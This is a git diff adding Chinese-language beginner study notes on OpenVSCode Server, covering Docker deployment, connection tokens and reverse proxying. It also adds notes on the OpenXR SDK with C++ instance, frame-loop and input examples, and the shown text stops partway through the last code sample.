+- [[rt-thread]] —— RT-Thread — 中文社区主导的物联网 RTOS
+- [[sdk-nrf]] —— sdk-nrf — Nordic nRF Connect SDK 零基础学习笔记
+- [[zephyr]] —— Zephyr — 一份代码树跑遍所有嵌入式芯片的开源 RTOS
 
diff --git a/src/content/docs/projects/opentofu.md b/src/content/docs/projects/opentofu.md
index b4f261b15..c0ed5cd49 100644
--- a/src/content/docs/projects/opentofu.md
+++ b/src/content/docs/projects/opentofu.md
@@ -2,7 +2,7 @@
 title: OpenTofu — 社区接手的 Terraform
 来源: https://github.com/opentofu/opentofu
 日期: 2026-06-01
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/openvscode-server.md b/src/content/docs/projects/openvscode-server.md
new file mode 100644
index 000000000..32bfba04c
--- /dev/null
+++ b/src/content/docs/projects/openvscode-server.md
@@ -0,0 +1,372 @@
+---
+title: OpenVSCode Server — VS Code Server 上游
+来源: 'https://github.com/gitpod-io/openvscode-server'
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 日常类比：把「正版 VS Code」搬进机房，门口只留一块浏览器招牌
+
+想象你经营一家连锁咖啡店。总部有一套**标准配方、标准设备、标准菜单**——这就是微软开源的 [[vscode]]（Code - OSS）。每家分店本来都要在本地摆一台完整咖啡机（Electron 桌面版），员工自带笔记本，环境各搞各的。
+
+2019 年起，总部把架构改成「**中央厨房 + 前台点单屏**」：重活（磨豆、萃取、洗碗）在机房服务器完成，顾客用 iPad 浏览器点单、看进度。GitHub Codespaces、Gitpod 商用云 IDE 用的就是这套厨房模式——但厨房图纸一直没完全公开。
+
+**OpenVSCode Server 干的事**：Gitpod 把「让上游 VS Code 在浏览器里跑起来」所需的最小补丁（官方说法约几百行量级）单独抽出来开源。它不是仿 VS Code 的替代品，而是**贴着微软主线走的 Server 构建**——升级跟着 VS Code 版本走，扩展默认接**官方 Marketplace**，而不是像 [[code-server]] 那样默认走 Open VSX。
+
+项目地址：[gitpod-io/openvscode-server](https://github.com/gitpod-io/openvscode-server)，GitHub 约 6k+ Stars（2026 年中），MIT 开源。口号：**Run upstream VS Code on a remote machine with access through a modern web browser from any device, anywhere.**
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：社区长期用「硬改 VS Code」的脆弱方案
+
+在微软重构出 Web/Server 架构之前，很多人靠大量 patch 把 VS Code 塞进浏览器——每次上游发版都要重新合并，冲突频发，维护成本极高。OpenVSCode Server 的定位是：**只补 Server 场景缺的那几块砖**，其余全部交给上游。
+
+### 痛点 2：想用 Codespaces / Gitpod 同款架构，但要自托管
+
+GitHub Codespaces 绑定 GitHub 生态且核心服务闭源；Gitpod 云产品按席位/用量计费。OpenVSCode Server 让你在**自己的 NAS、云主机、实验室服务器**上复现「浏览器里完整 VS Code」的体验，数据与算力留在自己手里。
+
+### 痛点 3：扩展生态与桌面 VS Code 不一致
+
+[[code-server]] 因许可限制默认使用 Open VSX，偶尔会遇到「桌面能装、浏览器 IDE 搜不到」的扩展。OpenVSCode Server 走**官方扩展市场**路线，对「我必须用某几个微软市场独占扩展」的团队更友好。
+
+### 痛点 4：需要标准化远程开发环境，但不想绑定某家 SaaS
+
+学校机房、合规内网、个人 homelab——场景各异，共同点都是：**一台（或每人一个）远程工作区 + 浏览器入口 + 可预期的升级路径**。OpenVSCode Server 提供的是基础设施积木，不是完整的多租户平台（那一步要你自己用 Docker/K8s/反向代理去拼）。
+
+---
+
+## 核心概念拆解
+
+### 1. 上游对齐（Upstream-aligned），不是 Fork 重写
+
+OpenVSCode Server 基于微软 **Code - OSS** 主线，只增加跑在 Server/Web 场景所需的最小改动。Gitpod 明确表态：**不打算在 VS Code 里加面向终端用户的新功能**；功能请求、编辑器 bug 应去 [microsoft/vscode](https://github.com/microsoft/vscode) 报。日常类比：给标准轿车加一套「拖车钩」和「远程启动模块」，发动机舱布局不动。
+
+### 2. 与 VS Code 2019 年后的 Web 架构同源
+
+微软把编辑器拆成可远程化的进程模型后，Gitpod、GitHub Codespaces 都采用了同一思路：**UI 在浏览器，扩展宿主与文件系统在远端**。OpenVSCode Server 把当年未完全开源的「Server 侧胶水层」补进了社区——所以它和 Codespaces 的体感接近，而不是另一套 UI 仿制品。
+
+### 3. 单实例 ≈ 单工作区，多用户要你自己编排
+
+一个 OpenVSCode Server 进程通常服务**一个工作区目录**（Docker 默认挂载 `/home/workspace`）。没有内置「一个 URL 里多账号隔离」——团队场景常见做法是：**每人一个容器/端口**，或前面挂 OAuth 反向代理 + 按用户分 volume。这和商业 Gitpod 的「组织 + 工作区编排」不是同一层产品。
+
+### 4. Connection Token：最简单的访问控制
+
+自 v1.64 起，默认可以**无鉴权**启动（知道主机名和端口就能进 IDE——含终端权限，极危险）。生产环境应使用 `--connection-token` 或 `--connection-token-file`；浏览器访问形态为 `http://host:3000/?tkn=YOUR_TOKEN`。Docker 官方镜像默认带 `--without-connection-token`，适合本机试用，**不适合裸奔公网**。
+
+### 5. 扩展、LSP、调试器跑在服务器
+
+与 [[vscode]] Remote-SSH 一致：你在浏览器里点「安装 Python 扩展」，实际装进的是**服务器磁盘**上的扩展目录；语言服务器、调试适配器、Git 操作都在远端 Node 进程里执行。换一台 iPad 登录，同一 URL（带 token）看到的环境不变——因为状态在服务器，不在浏览器 localStorage。
+
+### 6. 和 code-server 怎么选（一句话版）
+
+| 维度 | OpenVSCode Server | code-server |
+|------|-------------------|-------------|
+| 维护方 | Gitpod | Coder |
+| 与上游关系 | 最小 Server 补丁，紧跟 VS Code 版本 | Submodule + 较多 patch 层 |
+| 扩展市场 | 官方 VS Code Marketplace | 默认 Open VSX，可自建 |
+| 内置能力 | 刻意保持精简 | 更多服务器侧配置（代理、认证等） |
+| 适合谁 | 扩展兼容性优先、要「真·上游」 | 要成熟自托管方案、接受 Open VSX |
+
+两者都能「浏览器里写代码」，不是二选一的对立，而是**扩展生态 vs 运维成熟度**的权衡。
+
+### 7. 与 Gitpod 商业产品、Codespaces 的边界
+
+- **OpenVSCode Server**：开源 Server 二进制 / Docker 镜像，你自己部署。
+- **Gitpod（商业）**：在之上加了组织管理、预构建、自动化工作区、计费等。
+- **GitHub Codespaces**：微软托管，闭源控制面 + GitHub 深度集成。
+
+记法：**OpenVSCode Server = 发动机；Gitpod/Codespaces = 整车 + 4S 店。**
+
+---
+
+## 安装与最小启动
+
+### 方式 A：Docker 一键（最适合零基础体验）
+
+```bash
+# 把当前目录挂载为工作区，映射 3000 端口
+docker run -it --init \
+  -p 3000:3000 \
+  -v "$(pwd):/home/workspace:cached" \
+  gitpod/openvscode-server
+```
+
+浏览器打开 `http://127.0.0.1:3000`。首次加载会解压内置 VS Code Server，稍等片刻即可看到完整 IDE：资源管理器、终端、扩展面板、调试视图都在。
+
+**注意**：官方镜像默认 `--without-connection-token`，仅适合本机或可信内网。若要暴露到局域网/公网，见下文「带鉴权启动」。
+
+### 方式 B：Release 压缩包（不用 Docker）
+
+```bash
+# 版本号以 GitHub Releases 为准
+export OPENVSCODE_SERVER_VERSION="1.109.5"
+
+curl -fsSL -o ovs.tar.gz \
+  "https://github.com/gitpod-io/openvscode-server/releases/download/openvscode-server-v${OPENVSCODE_SERVER_VERSION}/openvscode-server-v${OPENVSCODE_SERVER_VERSION}-linux-x64.tar.gz"
+
+tar -xzf ovs.tar.gz
+cd "openvscode-server-v${OPENVSCODE_SERVER_VERSION}"
+
+# 本机试用
+./bin/openvscode-server --host 127.0.0.1 --port 3000
+
+# 局域网其他设备访问（仍需配 token + 防火墙）
+./bin/openvscode-server \
+  --host 0.0.0.0 \
+  --port 3000 \
+  --connection-token "$(openssl rand -hex 24)"
+```
+
+终端会打印带 `?tkn=` 的完整 URL，复制到浏览器即可。
+
+---
+
+## 代码示例 1：生产向 Docker Compose（工作区 + 数据卷 + Token）
+
+下面是一份可直接改造的 `docker-compose.yml`：代码目录与扩展/设置分离，重启容器不丢扩展；用环境变量注入 token。
+
+```yaml
+# docker-compose.yml
+services:
+  openvscode:
+    image: gitpod/openvscode-server:latest
+    container_name: openvscode-server
+    restart: unless-stopped
+    ports:
+      - "3000:3000"
+    volumes:
+      - ./workspace:/home/workspace:cached
+      - vscode-data:/home/.openvscode-server
+    entrypoint:
+      - /bin/sh
+      - -c
+      - |
+        exec /home/.openvscode-server/bin/openvscode-server \
+          --host 0.0.0.0 \
+          --port 3000 \
+          --connection-token "$${CONNECTION_TOKEN}"
+    environment:
+      CONNECTION_TOKEN: ${CONNECTION_TOKEN:?set CONNECTION_TOKEN in .env}
+
+volumes:
+  vscode-data:
+```
+
+```bash
+# .env — 不要提交到 Git
+echo "CONNECTION_TOKEN=$(openssl rand -hex 24)" > .env
+
+docker compose up -d
+# 访问 http://<服务器IP>:3000/?tkn=<你的 token>
+```
+
+要点：
+
+- 官方镜像默认 entrypoint 带 `--without-connection-token`，生产必须像上面一样**覆盖 entrypoint** 或自建 Dockerfile。
+- `vscode-data` 卷持久化扩展与用户数据；`workspace` 卷放项目源码。
+- 前面还可叠 Nginx/Caddy + TLS；有 OAuth 网关时，部分部署会把 `CONNECTION_TOKEN=none` 交给上游鉴权（仅当你确信网关已挡住未授权访问）。
+
+---
+
+## 代码示例 2：自定义镜像预装扩展与系统依赖
+
+团队常希望「新人打开浏览器就有 rust-analyzer、主题、公司 lint 规则」。可以在官方镜像上用 `openvscode-server --install-extension` 构建衍生镜像：
+
+```dockerfile
+# Dockerfile.devtools
+FROM gitpod/openvscode-server:latest
+
+USER root
+
+# 例：为原生模块准备构建链（按项目改）
+RUN apt-get update && apt-get install -y --no-install-recommends \
+    build-essential python3 git \
+ && rm -rf /var/lib/apt/lists/*
+
+ENV OPENVSCODE_SERVER_ROOT="/home/.openvscode-server"
+ENV OPENVSCODE="${OPENVSCODE_SERVER_ROOT}/bin/openvscode-server"
+
+SHELL ["/bin/bash", "-c"]
+RUN \
+    urls=( \
+      https://github.com/rust-lang/rust-analyzer/releases/download/2024-11-25/rust-analyzer-x86_64-unknown-linux-gnu.vsix \
+    ) \
+    && tdir=/tmp/exts && mkdir -p "${tdir}" && cd "${tdir}" \
+    && wget -q "${urls[@]}" \
+    && exts=( \
+        esbenp.prettier-vscode \
+        rust-lang.rust-analyzer \
+        "${tdir}"/* \
+    ) \
+    && for ext in "${exts[@]}"; do \
+         "${OPENVSCODE}" --install-extension "${ext}"; \
+       done
+
+USER openvscode-server
+```
+
+```bash
+docker build -f Dockerfile.devtools -t my-org/openvscode:devtools .
+docker run -it --init -p 3000:3000 \
+  -v "$(pwd):/home/workspace:cached" \
+  my-org/openvscode:devtools
+```
+
+扩展来源可以是：
+
+- 扩展 ID（从 Marketplace / Open VSX 拉取，视构建环境而定）；
+- 本地 `.vsix` 文件（适合内网私有扩展）。
+
+---
+
+## 常用 CLI 参数速查
+
+| 参数 | 含义 |
+|------|------|
+| `--port` | 监听端口，默认 `3000` |
+| `--host` | 绑定地址；远程访问用 `0.0.0.0`，本机试用用 `127.0.0.1` |
+| `--connection-token` | 设置访问令牌，URL 带 `?tkn=` |
+| `--connection-token-file` | 从文件读 token，便于密钥管理 |
+| `--without-connection-token` | 关闭鉴权（Docker 默认） |
+| `--install-extension` | 启动前安装扩展，可重复多次 |
+| `--help` | 列出完整参数 |
+
+查看帮助：
+
+```bash
+./bin/openvscode-server --help
+```
+
+---
+
+## 架构一图（心智模型）
+
+```text
+┌──────────────────── 你的笔记本 / iPad / 公用 PC ────────────────────┐
+│  现代浏览器（Chromium / Safari）                                      │
+│  ┌─────────────────────────────────────────────────────────────┐   │
+│  │  VS Code Web UI（与桌面版同一套 Workbench）                    │   │
+│  └───────────────────────────┬─────────────────────────────────┘   │
+└──────────────────────────────┼─────────────────────────────────────┘
+                               │ HTTPS / WSS
+                               ▼
+┌──────────────────── 远程机器 / 容器 ────────────────────────────────┐
+│  openvscode-server 进程                                             │
+│  ├─ 扩展宿主（Node）：LSP、DAP、Git、终端 PTY                        │
+│  ├─ 文件 API：读写 /home/workspace                                  │
+│  └─ 可选：dev server 端口转发（预览 localhost:3000 前端）            │
+└─────────────────────────────────────────────────────────────────────┘
+```
+
+与桌面 VS Code 相比，**少的是本地 Electron 壳**，**不少的是编辑、调试、扩展能力**——前提是网络稳定、WebSocket 未被代理掐断。
+
+---
+
+## 反向代理与 WebSocket
+
+Nginx 反代示例（片段）——漏配 `Upgrade` 时，典型症状是终端闪断、扩展 host 连不上：
+
+```nginx
+location / {
+    proxy_pass http://127.0.0.1:3000;
+    proxy_http_version 1.1;
+    proxy_set_header Upgrade $http_upgrade;
+    proxy_set_header Connection "upgrade";
+    proxy_set_header Host $host;
+    proxy_read_timeout 86400;
+}
+```
+
+---
+
+## 安全清单（零基础也别踩坑）
+
+1. **公网必带 token 或前置认证**，默认无鉴权等于公开 root 级开发环境（含终端）。
+2. **不要用默认 3000 裸奔在 0.0.0.0**，除非外层有防火墙/IP 白名单。
+3. **工作区卷权限**：容器内 UID 与宿主机文件属主不一致时，会出现「能打开不能保存」——用 `user: "1000:1000"` 或 LinuxServer 等社区镜像的 PUID/PGID 环境变量对齐。
+4. **扩展同样能执行代码**：Marketplace 扩展在服务器上跑，恶意扩展危害远大于「只读网页」。
+5. **升级策略**：跟踪 [Releases](https://github.com/gitpod-io/openvscode-server/releases) 与 VS Code 安全公告；镜像 tag 建议钉版本号而非永远 `latest`（生产）。
+
+---
+
+## 典型使用场景
+
+| 场景 | 为什么选 OpenVSCode Server |
+|------|---------------------------|
+| 低配 Chromebook 连家里 NAS 写项目 | 算力在 NAS，浏览器只渲染 UI |
+| 实验室统一镜像 + 浏览器入口 | Dockerfile 预装扩展，学生零安装 |
+| 需要官方 Marketplace 扩展 | 与桌面 VS Code 扩展策略更接近 |
+| 短期试用 Codespaces 架构 | 自托管、无 GitHub 绑定 |
+| iPad 出差改紧急 hotfix | 完整终端 + Git + 调试，不是玩具编辑器 |
+
+不适合：
+
+- 想要**开箱多租户、计费、组织策略** → 用 Gitpod 商业版或 [Coder](https://github.com/coder/coder) 平台层。
+- 想要**和 VS Code 无关的轻量网页编辑器** → 看 [[monaco-editor]] 或 [[theia]]。
+
+---
+
+## 与相关项目的关系
+
+```text
+microsoft/vscode (Code - OSS)
+        │
+        ├── 桌面版 VS Code（Electron）
+        │
+        ├── OpenVSCode Server（gitpod-io）── 最小 Server 补丁，上游 Web 架构
+        │         └── Gitpod 云 / 自托管编排
+        │
+        ├── GitHub Codespaces（闭源托管）
+        │
+        └── code-server（coder）── 另一套 patch + Open VSX 路线
+```
+
+学习路径建议：先读 [[vscode]] 理解进程模型与 LSP/DAP，再对比 [[code-server]] 与本文，最后按场景选自托管方案。
+
+---
+
+## 常见问题
+
+**Q：OpenVSCode Server 和 VS Code Server（`vscode-server`）是同一个东西吗？**
+
+A：相关但不等同。微软在 Remote SSH / Codespaces 里用的 `vscode-server` 闭源分发；OpenVSCode Server 是社区可见的、基于 Code - OSS 的 **open 构建**，目标是与上游版本同步升级。
+
+**Q：能在树莓派或 ARM 上跑吗？**
+
+A：看 Release 是否提供对应架构包；Docker 选 multi-arch 镜像。ARM 上跑大型语言服务器仍受内存限制。
+
+**Q：设置能在多台设备间同步吗？**
+
+A：没有桌面版 Settings Sync 那种官方云同步；靠持久化卷、dotfiles 仓库或自建方案。
+
+**Q：项目会加 AI 聊天、协作光标吗？**
+
+A：维护方表态不加 end-user 功能；这类能力请用扩展或外层产品（如 Cursor 类 fork）。
+
+---
+
+## 小结
+
+OpenVSCode Server 解决的不是「做一个新 IDE」，而是**把微软 VS Code 的 Server/Web 架构以最小补丁开源出来**，让你能在自己的机器上获得接近 Gitpod / Codespaces 的浏览器 IDE 体验，同时保留**官方扩展市场**和**跟随上游升级**的路径。
+
+零基础记住三句话：
+
+1. **浏览器里是正牌 Workbench，重活在远端。**
+2. **默认 Docker 无 token，上公网必须自己加锁。**
+3. **它是基础设施砖块，不是完整云平台——编排得你自己来。**
+
+下一步：用本文 Docker 命令在本地起实例，装一个你日常用的语言扩展， deliberately 在终端里跑一遍构建/测试，感受与桌面 [[vscode]] 的差异（主要是网络延迟与文件路径都在远端）。
+
+---
+
+## 参考链接
+
+- 仓库：[gitpod-io/openvscode-server](https://github.com/gitpod-io/openvscode-server)
+- Docker Hub：[gitpod/openvscode-server](https://hub.docker.com/r/gitpod/openvscode-server)
+- 上游编辑器：[microsoft/vscode](https://github.com/microsoft/vscode)
+- 对比阅读：[[code-server]]、[[vscode]]、[[monaco-editor]]
diff --git a/src/content/docs/projects/openxr-sdk.md b/src/content/docs/projects/openxr-sdk.md
new file mode 100644
index 000000000..3ec63f473
--- /dev/null
+++ b/src/content/docs/projects/openxr-sdk.md
@@ -0,0 +1,290 @@
+---
+title: OpenXR SDK — Khronos VR/AR 标准
+来源: 'https://github.com/KhronosGroup/OpenXR-SDK-Source'
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+provenance: pipeline-v3
+难度: 中级
+---
+
+## 是什么
+
+**OpenXR** 是 Khronos Group 制定的 **跨平台 XR（扩展现实）API 标准**，覆盖 VR、AR、MR 整条光谱。日常类比：如果把各家头显（Quest、SteamVR、Windows MR、Pico……）比作不同品牌的「电影院放映系统」，那 OpenXR 就是**统一的电影票与放映协议**——你按同一套流程买票（创建实例）、选厅（绑定系统）、租银幕（Swapchain）、按帧放映（提交合成层），放映厅内部怎么接线由各家 Runtime 自己搞定，应用不必为每个品牌重写一套集成代码。
+
+[OpenXR-SDK-Source](https://github.com/KhronosGroup/OpenXR-SDK-Source) 仓库提供 **Loader（加载器）**、示例 API Layer、**hello_xr** 等参考实现与构建脚本；若只想在应用里链接头文件和预编译 Loader，更轻量的 [OpenXR-SDK](https://github.com/KhronosGroup/OpenXR-SDK) 已包含生成好的 `openxr.h`，无需 Python 代码生成。规范当前主线为 **OpenXR 1.1**，Apache-2.0 协议。
+
+```
+应用 (Application)
+    ↓ 调用 xrCreateInstance / xrWaitFrame …
+OpenXR Loader          ← SDK 里你链接的库
+    ↓ 可选注入
+API Layers             ← 校验层、性能分析层等
+    ↓
+XR Runtime             ← Meta、Steam、Monado 等，管合成、追踪、输入
+    ↓
+头显 / 手柄 / 摄像头硬件
+```
+
+## 为什么重要
+
+不了解 OpenXR，下面这些事很难讲清楚：
+
+- 为什么同一款 PC VR 游戏能在 SteamVR 与 Windows Mixed Reality 上跑——应用只对着 OpenXR Runtime，不直接绑厂商 SDK
+- 为什么 Quest 上既有原生 OpenXR 路径，也有通过兼容层转调的情况——**Loader 在运行时探测「当前活跃 Runtime」** 并绑定到 `XrInstance`
+- 为什么图形 API 可以是 Vulkan、OpenGL、D3D11/12——通过 **KHR 扩展**（如 `XR_KHR_vulkan_enable`）把已有渲染管线「挂」进 Session，而不是另起一套 GPU API
+- 为什么输入不再写死「A 键 / 扳机」——**Action / ActionSet** 把语义动作与具体手柄布局解耦，Runtime 负责建议绑定
+
+## 核心概念
+
+### 1. Loader 与 Runtime
+
+**Loader** 是应用链接的薄库：负责枚举扩展、加载 API Layer、在 `xrCreateInstance` 时选中系统上**当前活跃**的 Runtime，并为每个 `XrInstance` 构建 **dispatch table**（函数调用链）。**Runtime** 则掌控完整 XR 子系统：姿态预测、帧合成、显示时序、设备驱动。类比：Loader 像电话总机，Runtime 像具体营业厅——你拨的是同一号码，接通哪家由当时在线的那家决定。
+
+### 2. Instance（`XrInstance`）— 与 Runtime 的「总合同」
+
+`xrCreateInstance` 传入 `XrInstanceCreateInfo`（应用名、API 版本、要启用的扩展列表），得到无父句柄的 `XrInstance`。之后几乎所有查询（扩展、系统、图形需求）都从这里出发。销毁 Instance 会级联销毁其下 Session、Space 等子句柄。
+
+### 3. System（`XrSystemId`）— 逻辑上的「一套 XR 设备组」
+
+`xrGetSystem` 根据 `XrFormFactor`（如 `XR_FORM_FACTOR_HEAD_MOUNTED_DISPLAY`）选中 Runtime 提供的一套显示 + 追踪 + 输入组合。你不需要知道具体是 Quest 3 还是 Index，只需对 `systemId` 创建 Session。
+
+### 4. Session（`XrSession`）— 可渲染、可收输入的「工作会话」
+
+`xrCreateSession` 必须附带 **图形绑定**（`XrGraphicsBindingVulkanKHR` 等，通过 `next` 链挂在 `XrSessionCreateInfo` 上）。Session 有状态机：`IDLE` → `READY` → `SYNCHRONIZED` → `VISIBLE` → `FOCUSED` → …，应用应在 `FOCUSED` 且已 `xrBeginSession` 后才跑帧循环。类比：Instance 是会员卡，Session 是你真正走进场馆、戴上头显的那一刻。
+
+### 5. Swapchain 与帧循环 — 「双眼画布」的租借与归还
+
+每个 Swapchain 是一组 GPU 图像（常为左右眼各一条链）。标准帧序列为：
+
+1. `xrWaitFrame` — 等 Runtime 给出本帧 `predictedDisplayTime`
+2. `xrBeginFrame`
+3. 对每个 Swapchain：`xrAcquireSwapchainImage` → 渲染 → `xrWaitSwapchainImage` → `xrReleaseSwapchainImage`
+4. `xrEndFrame` — 提交 `XrCompositionLayerProjection` 等合成层
+
+Runtime 负责畸变、合成、重投影；应用只填「每层里左右眼的视图矩阵与 Swapchain 切片」。
+
+### 6. Space、View、Action — 追踪、相机与输入
+
+- **Space**（`XrSpace`）：坐标系锚点（`VIEW`、`LOCAL`、`STAGE` 等），`xrLocateSpace` 得位姿
+- **View**：每帧 `xrLocateViews` 返回左右眼 FOV、位姿，用于投影矩阵
+- **ActionSet / Action**：声明「跳跃」「抓取」等语义；`xrSyncActions` 后读 `XrActionState*`；手柄物理键由 Runtime 通过 **Interaction Profile** 建议绑定
+
+### 7. 扩展（Extension）与 API Layer
+
+**扩展**以 `XR_KHR_*`、`XR_EXT_*` 等字符串启用，能力从图形绑定到手部追踪、透视混合等。**API Layer** 可选插入 Loader 与 Runtime 之间，用于校验、截帧、性能统计——类似 Vulkan Validation Layer。
+
+## 第一个示例：最小 Instance 创建与扩展探测（C++）
+
+下列代码展示零基础应用最常写的「第一步」：创建 Instance、查询 Runtime 名称与版本、枚举一层扩展、干净退出。错误处理用 `XR_CHECK` 宏简化（生产代码应完整处理 `XrResult`）。
+
+```cpp
+#define XR_USE_PLATFORM_WIN32
+#define XR_USE_GRAPHICS_API_VULKAN
+#include <openxr/openxr.h>
+#include <openxr/openxr_platform.h>
+#include <iostream>
+#include <vector>
+
+#define XR_CHECK(expr) \
+  do { \
+    XrResult r = (expr); \
+    if (XR_FAILED(r)) { \
+      std::cerr << "OpenXR error " << r << " at " << __FILE__ << ":" << __LINE__ << "\n"; \
+      return 1; \
+    } \
+  } while (0)
+
+int main() {
+  XrInstance instance{XR_NULL_HANDLE};
+
+  XrInstanceCreateInfo createInfo{XR_TYPE_INSTANCE_CREATE_INFO};
+  createInfo.applicationInfo.apiVersion = XR_CURRENT_API_VERSION;
+  strncpy(createInfo.applicationInfo.applicationName, "HelloOpenXR",
+          XR_MAX_APPLICATION_NAME_SIZE);
+  strncpy(createInfo.applicationInfo.engineName, "StudyNotes",
+          XR_MAX_ENGINE_NAME_SIZE);
+  createInfo.applicationInfo.applicationVersion = 1;
+  createInfo.applicationInfo.engineVersion = 1;
+
+  const char* extensions[] = {XR_KHR_VULKAN_ENABLE_EXTENSION_NAME};
+  createInfo.enabledExtensionCount = 1;
+  createInfo.enabledExtensionNames = extensions;
+
+  XR_CHECK(xrCreateInstance(&createInfo, &instance));
+
+  XrInstanceProperties props{XR_TYPE_INSTANCE_PROPERTIES};
+  XR_CHECK(xrGetInstanceProperties(instance, &props));
+  std::cout << "Runtime: " << props.runtimeName
+            << " (version " << XR_VERSION_MAJOR(props.runtimeVersion) << "."
+            << XR_VERSION_MINOR(props.runtimeVersion) << "."
+            << XR_VERSION_PATCH(props.runtimeVersion) << ")\n";
+
+  uint32_t extCount = 0;
+  XR_CHECK(xrEnumerateInstanceExtensionProperties(nullptr, 0, &extCount, nullptr));
+  std::vector<XrExtensionProperties> extProps(
+      extCount, {XR_TYPE_EXTENSION_PROPERTIES});
+  XR_CHECK(xrEnumerateInstanceExtensionProperties(
+      nullptr, extCount, &extCount, extProps.data()));
+  std::cout << "Instance extensions available: " << extCount << "\n";
+
+  xrDestroyInstance(instance);
+  return 0;
+}
+```
+
+编译时需链接平台 Loader（Windows 上常为 `openxr_loader`），并保证头显对应的 Runtime 已安装，否则 `xrCreateInstance` 可能失败或枚举不到 HMD 系统。
+
+## 第二个示例：Session 帧循环骨架（伪代码 + 关键 API）
+
+完整 Vulkan/D3D 绑定篇幅很长，下面抽出**与图形 API 无关的帧骨架**，对应 `hello_xr` 主循环结构；左右眼各一条 Swapchain 时，在 `RenderView` 内对 `swapchainIndex` 做 GPU 绘制即可。
+
+```cpp
+// 假定已完成：instance, systemId, session, swapchains[], spaces...
+
+void XrApp::PollEvents() {
+  XrEventDataBuffer event{XR_TYPE_EVENT_DATA_BUFFER};
+  while (xrPollEvent(instance, &event) == XR_SUCCESS) {
+    if (event.type == XR_TYPE_EVENT_DATA_SESSION_STATE_CHANGED) {
+      auto* ev = reinterpret_cast<XrEventDataSessionStateChanged*>(&event);
+      sessionState = ev->state;
+      if (sessionState == XR_SESSION_STATE_READY) {
+        XrSessionBeginInfo beginInfo{XR_TYPE_SESSION_BEGIN_INFO};
+        beginInfo.primaryViewConfigurationType =
+            XR_VIEW_CONFIGURATION_TYPE_PRIMARY_STEREO;
+        xrBeginSession(session, &beginInfo);
+      }
+      if (sessionState == XR_SESSION_STATE_STOPPING) {
+        xrEndSession(session);
+      }
+    }
+  }
+}
+
+void XrApp::RenderFrame() {
+  if (sessionState != XR_SESSION_STATE_FOCUSED) return;
+
+  XrFrameWaitInfo waitInfo{XR_TYPE_FRAME_WAIT_INFO};
+  XrFrameState frameState{XR_TYPE_FRAME_STATE};
+  XR_CHECK(xrWaitFrame(session, &waitInfo, &frameState));
+
+  XrFrameBeginInfo beginInfo{XR_TYPE_FRAME_BEGIN_INFO};
+  XR_CHECK(xrBeginFrame(session, &beginInfo));
+
+  // 定位双眼视图（FOV + 位姿）
+  XrViewState viewState{XR_TYPE_VIEW_STATE};
+  uint32_t viewCount = 2;
+  std::array<XrView, 2> views{
+      XrView{XR_TYPE_VIEW}, XrView{XR_TYPE_VIEW}};
+  XrViewLocateInfo locateInfo{XR_TYPE_VIEW_LOCATE_INFO};
+  locateInfo.viewConfigurationType = XR_VIEW_CONFIGURATION_TYPE_PRIMARY_STEREO;
+  locateInfo.displayTime = frameState.predictedDisplayTime;
+  locateInfo.space = appSpace;
+  XR_CHECK(xrLocateViews(session, &locateInfo, &viewState, viewCount, &viewCount,
+                         views.data()));
+
+  for (uint32_t eye = 0; eye < viewCount; ++eye) {
+    uint32_t imageIndex = 0;
+    XrSwapchainImageAcquireInfo acquireInfo{XR_TYPE_SWAPCHAIN_IMAGE_ACQUIRE_INFO};
+    XR_CHECK(xrAcquireSwapchainImage(swapchains[eye], &acquireInfo, &imageIndex));
+    // --- 在此用 Vulkan/OpenGL/D3D 渲染到 swapchainImages[eye][imageIndex] ---
+    XrSwapchainImageWaitInfo waitImg{XR_TYPE_SWAPCHAIN_IMAGE_WAIT_INFO};
+    waitImg.timeout = XR_INFINITE_DURATION;
+    XR_CHECK(xrWaitSwapchainImage(swapchains[eye], &waitImg));
+    XrSwapchainImageReleaseInfo releaseInfo{XR_TYPE_SWAPCHAIN_IMAGE_RELEASE_INFO};
+    XR_CHECK(xrReleaseSwapchainImage(swapchains[eye], &releaseInfo));
+  }
+
+  XrCompositionLayerProjectionView projViews[2] = {/* 填 pose、fov、subImage */};
+  XrCompositionLayerProjection layer{XR_TYPE_COMPOSITION_LAYER_PROJECTION};
+  layer.space = appSpace;
+  layer.viewCount = 2;
+  layer.views = projViews;
+
+  const XrCompositionLayerBaseHeader* layers[] = {
+      reinterpret_cast<const XrCompositionLayerBaseHeader*>(&layer)};
+  XrFrameEndInfo endInfo{XR_TYPE_FRAME_END_INFO};
+  endInfo.displayTime = frameState.predictedDisplayTime;
+  endInfo.environmentBlendMode = XR_ENVIRONMENT_BLEND_MODE_OPAQUE;
+  endInfo.layerCount = 1;
+  endInfo.layers = layers;
+  XR_CHECK(xrEndFrame(session, &endInfo));
+}
+```
+
+要点：**显示时间戳**（`predictedDisplayTime`）在 `WaitFrame`、`LocateViews`、`EndFrame` 间保持一致，Runtime 才能做异步重投影；Swapchain 图像必须成对 acquire/release，否则下帧会卡住。
+
+## 第三个示例：Action 输入（声明语义，不绑物理键）
+
+```cpp
+XrActionSet actionSet{XR_NULL_HANDLE};
+XrAction grabAction{XR_NULL_HANDLE};
+
+XrActionSetCreateInfo setInfo{XR_TYPE_ACTION_SET_CREATE_INFO};
+strncpy(setInfo.actionSetName, "gameplay", XR_MAX_ACTION_SET_NAME_SIZE);
+setInfo.priority = 0;
+xrCreateActionSet(instance, &setInfo, &actionSet);
+
+XrActionCreateInfo actionInfo{XR_TYPE_ACTION_CREATE_INFO};
+actionInfo.actionType = XR_ACTION_TYPE_FLOAT_INPUT;
+strncpy(actionInfo.actionName, "trigger_click", XR_MAX_ACTION_NAME_SIZE);
+strncpy(actionInfo.localizedActionName, "Trigger", XR_MAX_NAME_SIZE);
+actionInfo.countSubactionPaths = 0;
+xrCreateAction(actionSet, &actionInfo, &grabAction);
+
+// Session 创建后：xrAttachSessionActionSets + xrSuggestInteractionProfileBindings
+// 每帧：
+XrActionsSyncInfo syncInfo{XR_TYPE_ACTIONS_SYNC_INFO};
+syncInfo.countActiveActionSets = 1;
+XrActiveActionSet active{actionSet, XR_NULL_PATH};
+syncInfo.activeActionSets = &active;
+xrSyncActions(session, &syncInfo);
+
+XrActionStateGetInfo getInfo{XR_TYPE_ACTION_STATE_GET_INFO};
+getInfo.action = grabAction;
